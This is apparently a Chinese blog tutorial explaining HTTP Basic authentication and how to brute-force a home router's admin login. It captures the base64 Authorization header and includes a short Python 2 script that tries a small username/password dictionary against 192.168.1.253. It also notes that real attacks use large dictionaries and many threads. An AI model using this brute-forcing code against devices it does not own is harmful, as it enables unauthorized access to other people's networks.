http://daily.zhihu.com/story/3603866?utm_campaign=in_app_share&utm_medium=Android
先看看上面的那個文章
------------
Evi1m0大牛破解了路由器的連接密碼之后,又破解了路由器的管理登陸密碼,這個過程就是一筆帶過,在這里詳細的說一下。
首先說什么是http basic認證
在HTTP協議進行通信的過程中,HTTP協議定義了基本認證過程以允許HTTP服務器對WEB瀏覽器進行用戶身份證的方法,當一個客戶端向HTTP服務 器進行數據請求時,如果客戶端未被認證,則HTTP服務器將通過基本認證過程對客戶端的用戶名及密碼進行驗證,以決定用戶是否合法。客戶端在接收到HTTP服務器的身份認證要求后,會提示用戶輸入用戶名及密碼,然后將用戶名及密碼以BASE64加密,加密后的密文將附加於請求信息中, 如當用戶名為anjuta,密碼為:123456時,客戶端將用戶名和密碼用“:”合並,並將合並后的字符串用BASE64加密為密文,並於每次請求數據 時,將密文附加於請求頭(Request Header)中。HTTP服務器在每次收到請求包后,根據協議取得客戶端附加的用戶信息(BASE64加密的用戶名和密碼),解開請求包,對用戶名及密碼進行驗證,如果用 戶名及密碼正確,則根據客戶端請求,返回客戶端所需要的數據;否則,返回錯誤代碼或重新要求客戶端提供用戶名及密碼。
我們先抓包看看http頭是什么樣的。
我使用的是firefox + tamper data,首先是安裝這個插件。
https://addons.mozilla.org/zh-CN/firefox/addon/tamper-data/?src=search
安裝之后,按alt,就能顯示菜單欄了,工具 -- tamper data,
開路由器的登錄網址,我的是http://192.168.1.253
點擊上面的start tamper,然后輸入賬號密碼,
點擊tamper,攔截這個請求,然后可以看到
看到Authorization這個了吧,后面跟的明顯是base64編碼的內容,我們解碼看看
這就是我們的賬號密碼中間加一個冒號,然后base64編碼。
基本原理明白了,我們就可以去寫程序破解了。
找一個賬號密碼字典,然后編碼,加到http頭,就是這個easy。
#coding:utf-8 import base64 import urllib2 password_dic = [["root", "root"], ["admin", "admin"], ["admin", "rootroot"]] request = urllib2.Request('http://192.168.1.253') #request.add_header('Authorization', 'Basic YWRtaW46cm9vdHJvb3Q=') for item in password_dic: psw_base64 = "Basic " + base64.b64encode(item[0] + ":" + item[1]) request.add_header('Authorization', psw_base64) try: response = urllib2.urlopen(request) print "Correct! Username: %s, password: %s" % (item[0], item[1]) break except urllib2.HTTPError: print "Error!"
使用了python自帶的urllib2,上面password_dic就是自己隨便寫的,真正去破解的話,有很大的字典呢,而且多線程去跑。
request.add_header('Authorization', psw_base64)
就將我們構造的賬號密碼的http頭加進去了。
看到了吧,最后破解出密碼就是admin-rootroot。(你來攻擊我啊~)